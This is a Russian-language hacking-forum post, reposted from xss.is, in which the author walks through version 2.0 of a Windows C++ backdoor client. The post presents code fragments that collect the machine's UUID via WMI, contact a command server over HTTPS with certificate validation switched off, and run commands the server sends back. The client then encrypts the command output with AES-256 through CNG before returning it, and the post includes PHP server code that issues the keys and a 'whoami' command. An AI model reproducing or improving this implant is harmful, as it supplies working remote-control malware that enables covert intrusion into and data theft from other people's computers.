D2
Администратор
- Регистрация
- 19 Фев 2025
- Сообщения
- 4,380
- Реакции
- 0
Backdoor 2.0
Автор: OMAR_HAYAT
Источник: https://xss.is
Всем привет!
Пришло время подвести очередные итоги написания клиента на Cpp. Прошлая версия получилась предельно сырой, как носки при гулянии по лужам. В новой версии концентрация H2O снизилась. Тем не менее есть свои скользкие места.
Что удалось реализовать в версии 2.0:
0х01. Попытался навести порядок в коде применив заголовочные файлы;
0х02. Прикрутил работу с COM обьектами;
0х03. Обмен данными с сервером делаем через HTTPS;
0х04. Вывод команды теперь не просто кодируем в base64, а почти полноценно шифруем!
Теперь обо всём попрядку.
0х01. Попытался навести порядок в коде применив заголовочные файлы.
Захотелось разложить все основные куски кода по своим файлам. Так проще проследить логику проги в main`e и в перспективе можно будет подключать такие заголовочники в другие проекты. Пока что мне сложно сказать оптимально или нет я реализовал такую идею. Опыта в этом нет от слова совсем. Поэтому авторитетные оценки приветствуются.
C++: Скопировать в буфер обмена
Код:
#include <string>
#include "base64.h"
#include "wmi_com.h"
#include "send_msg.h"
#include "utils.h"
#include "exec_command.h"
#include "aes_crypto.h"
0х02. Прикрутил работу с COM обьектами.
Из анализа чужого кода и советов бывалых стало понятно что первичный сбор инфы лучше выполнять через различные сервисы и технологии встроенные в винду. Одна из самых частых, если не самая частая, это технология COM (Component Object Model). Я применил её для решения одной частной задачи. Определение UUID системы. Хотя потенциал у неё в вопросах сбора данных о системе значительно шире.
В main`е реализованно всё просто:
C++: Скопировать в буфер обмена
Код:
// Собираем первичную информацию о системе;
uuid = wmi_com();
std::wcout << L"UUID: " << uuid << std::endl;
0х03. Обмен данными с сервером делаем через HTTPS.
Вот тут уже становится интереснее. В мэйне отправка представленна всего одной строкой в виде выполнения функции send_to_serv где в качестве аргументов передаём ип сервера и строку с именем и параметрами скрипта. Для понимания как эта функция работает смотрим заголовочник send_msg.h.
В качестве основы взят исходник: https://gist.github[.]com/AhnMo/5cf37bbd9a6fa2567f99ac0528eaa185
При ближайшем рассмотрении видно что применена виндовая библиотека WinInet. Да, по рекомендации бывалых заюзали WinAPI.
C++: Скопировать в буфер обмена
Код:
#include <windows.h>
#include <wininet.h>
#include <stdio.h>
#pragma comment (lib, "Wininet.lib")
C++: Скопировать в буфер обмена
Код:
DWORD dwFlags;
DWORD dwBuffLen = sizeof(dwFlags);
InternetQueryOption(hHttpFile, INTERNET_OPTION_SECURITY_FLAGS, (LPVOID)&dwFlags, &dwBuffLen);
dwFlags |= SECURITY_FLAG_IGNORE_UNKNOWN_CA | SECURITY_FLAG_IGNORE_CERT_CN_INVALID;
InternetSetOption(hHttpFile, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof(dwFlags));
В остальном вроде всё просто. Ответ сервера забираем из переменной buffer. Запускаем на серваке tcpdump и смотрим как выглядят кракозябры в зашифрованных пакетах при отправке и получении данных между клиентом и сервером. Значит всё работает как надо! Можно идти дальше.
0х04. Вывод команды теперь не просто кодируем в base64, а почти полноценно шифруем!
Как по мне теперь мы подошли к самой интересной части моей писанины. Это работа с шифрованием. Разбираясь с этой темой и читая упоминания CryptoAPI из поисковика форума стало понятно, что тема эта была предельно актуальна в 19 и 20 годах! Сейчас обсуждений вроде как меньше. Хотя при упоминании о ней старожилы форума не проч её пообсуждать
Для начала предлагаю ответить на вопрос: что мы тут собрались шифровать? и надо ли это нам? Ситуация мне видиться следующим образом. Когда мы отправляем запрос на сервер адресная строка будет выглядить примерно следующим образом:
https://<host>/<scrypt>.php?<parametr>=<value_parametr>&<parametr>=<value_parametr>&<parametr>=<value_parametr>
где <value_parametr> будет передаваться в открытом виде.
В прошлой версии я банально заворачивал значение в base64 и не парился. Для нормальной работы всё что передётся в открытом виде надо шифровать. При шифрования конечного блока данных представленных у нас в виде строки идеально подходят симметричесные алгоритмы шифрования. Передовой на сегодняшний день AES (он конечно не совсем так называется, но все используют именно это имя). Его и будем использовать с 256 битным ключом.
Изучение теории по вопросу симметричных алгоритмов шифрования показало что наском такой вопрос не берётся. Поэтому тут будет показан одна из самых простых реализаций на основе AES-256-cbc. Да, для практики это так скажем не полноценная реализация. Решил сейчас описать что есть. И двинуться дальше в следующих статьях. Где хочу осветить более менее простым языком что значат все эти магические буквы и зачем Господа математики нагородили там такой огород.
Итак. Требуется зашифровать данные представленные в виде небольшой строки в кодировке base64. Какие у нас есть вариатны в рамках приложения запущенного под виндой? Я для себя определил три варианта:
а) Исходник алгоритма AES-256-cbc вкоряченный в заголовочный файл нашего апликейшена;
b) Использование библиотек вроде OpenSSL, Crypto++ и т.д.;
с) Использование CNG (Cryptography API: Next Generation).
а) Исходник алгоритма удалось найти на гитхабе. Его автор какая то милая индуска (судя по аватарке
b) Бибилиотеки для меня оказались какие то геморные. Если бы не было третьего варианта, я бы скорее предпочёл первый. Да и копий о сторонних библиотеках в малварестроении на форме уже сломано достаточно, чтобы писать об этом ещё раз. Да и появился страх перед ссаными тряпками, которыми меня закидают завсегдатые программеры форума, если я применю библиотеки в таком билде
с) CNG - это апишка внутри видны, пришедшая на смену CryptoAPI. Опыта работы у меня с этими API у меня нет. Поэтому не скажу что там поменялось. Могу только сказать, что инфы по функциям и кодам ошибок этих функций из раздела CNG в инете удалось найти мало. чатжэпэтэ и мануалы мелкомягких это всё что доступно. Тем не менее удалось получить работоспособный код. Его и решил применить в проекте.
Вся внутрянка для реализации шифрования находится в заголовочнике aes_crypto.h. В мэйне прежде чем выполнить шифрование нам требуется подготовить для этого ключи и вектор инициализации. Их мы генерируем на сервере. При получении первого запроса с UUID системы сервер генерирует и передаёт клиенту пару iv_key в ответе на запрос вместе с командой. Так как для связи с сервером мы используем HTTPS ответ будет зашифрован и ключ с вектором в открытом виде будет виден только серверу и клиенту.
PHP: Скопировать в буфер обмена
Код:
$iv = openssl_random_pseudo_bytes(openssl_cipher_iv_length('aes-256-cbc'));
$key = openssl_random_pseudo_bytes(32);
$command = base64_encode('whoami');
echo($iv.$key.$command);
Ответ от сервера приходит в качестве одной строки. Поэтому для работы требуется всё разложить по своим местам:
C++: Скопировать в буфер обмена
Код:
respounce = send_to_serv(L"192.168.0.104", data_for_server.c_str());
// В ответ получаем IV (16 символов), ключ шифрования (32 символа), команду в формате base64;
printf("%s\n", respounce);
// Разделим команду, ключ шифрования, значение IV;
for (int i = 0; i <= 15; i++) iv += respounce[i];
for (int i = 16; i <= 47; i++) key += respounce[i];
int size_command = strlen(respounce) - 48;
char* command = new char[size_command];
for (int i = 48; i < strlen(respounce); i++)
command[i - 48] = respounce[i];
// Декодируем команду из base64
std::wstring command_wstr = base64_decode(StringToWString(std::string(command)));
std::string command_str = WstringToString(command_wstr);
// Выполняем команду;
result_command = exec_command(command_str.c_str());
Когда результат выполнения команды готов вызоваем функцию aes_256_cnc_encrpt.
C++: Скопировать в буфер обмена
Код:
// Шифруем вывод команды;
info = aes_256_cnc_encrpt(result_command, key, iv);
//std::wcout << info << std::endl;
info = base64_encode(info);
Рассмотрим что лежит в заголовочнике. Всё хозяйство работает на основе встроенной в винду библиотеки bcrypt. Основная функция реализующая работу с API это aesEncrypt. В ней настраиваем алгоритм шифрования, ключ, вектор инициализации и попутно пытаемся обработать возможные ошибки.
C++: Скопировать в буфер обмена
Код:
std::vector<BYTE> aesEncrypt(const std::vector<BYTE>& plaintext, const std::vector<BYTE>& key, const std::vector<BYTE>& iv) {
BCRYPT_ALG_HANDLE hAlg = nullptr;
BCRYPT_KEY_HANDLE hKey = nullptr;
DWORD cbData = 0;
NTSTATUS status;
// Создание алгоритма AES
handleError(status = BCryptOpenAlgorithmProvider(&hAlg, BCRYPT_AES_ALGORITHM, nullptr, 0), L"Create algoritm AES");
// Создание ключа
handleError(status = BCryptGenerateSymmetricKey(hAlg, &hKey, nullptr, 0, (PUCHAR)key.data(), key.size(), 0), L"Create keys");
// Установка IV
handleError(status = BCryptSetProperty(hKey, BCRYPT_INITIALIZATION_VECTOR, (PUCHAR)iv.data(), iv.size(), 0), L"Setup IV");
Для меня остался непонятным вопрос как точно выделить количество памяти под зашифрованые данные. Поэтому я выделил в два раза больше чем занимает строка, которую хотим шифровать.
C++: Скопировать в буфер обмена
Код:
// Подготовка буфера для шифрования
//std::vector<BYTE> ciphertext(plaintext.size() + BCRYPT_BLOCK_LENGTH);
std::vector<BYTE> ciphertext(plaintext.size() * 2);
Вызываем BCryptEncrypt и получаем готовый результат. Вроде всё просто, когда знаешь как обработать ошибки и какие параметры аргументов доступны для ввода.
В этом кейсе я впервые сталкнулся с типом данных BYTE. Оказалось очень удобно работать с инфой, понимая что именно в таком виде она хранится и обрабатывается машиной. При этом с удивлением обнаружил что не все ЯП имеют на борту такой тип данных. В PHP например я этого не нашёл. Как мне показалось удобно использовать одно представление информации в системах, которые ты пытаешься связать. А надстройки вроде кучи разных кодировок только мешают понять как организовать эту связь. Такие вот мысли вслух. Отвлёкся что то.
0х05. Заключение.
В этот раз не стал заливать билд на ВТ. В том виде в каком сейчас собрана логика работы программы она не имеет практического применения. Задача этого билда разобраться с новыми для меня технологиями (COM, работа с HTTPS и CNG в рамках WinAPI). Также полученный шифротекст никак не защищён от потери данных. Если в момент передачи по какой то причине измениться хотя бы один бит шифротекста мы про это изменение не узнаем. И получем неверное значение расшифрованной строки. Подозреваю что в шифровании есть ещё какие то тонкие места которые для меня пока ещё остались невидимы. Как по мне эта тема заслуживает отдельного разбора. Поэтому планирую в ближайшее время нырнуть туда с головой. Надеюсь как итог получится очередная моя писанина.
Всем добра!!!
P.S. пасс к исходникам прежний. Местный пароль в кодировке base64.
P.S. Хочу сказать слова благодарности всем форумчанам помогающим мне своими советами и ответами на таком нелёгком пути!!! Спасибо вам ребята!!!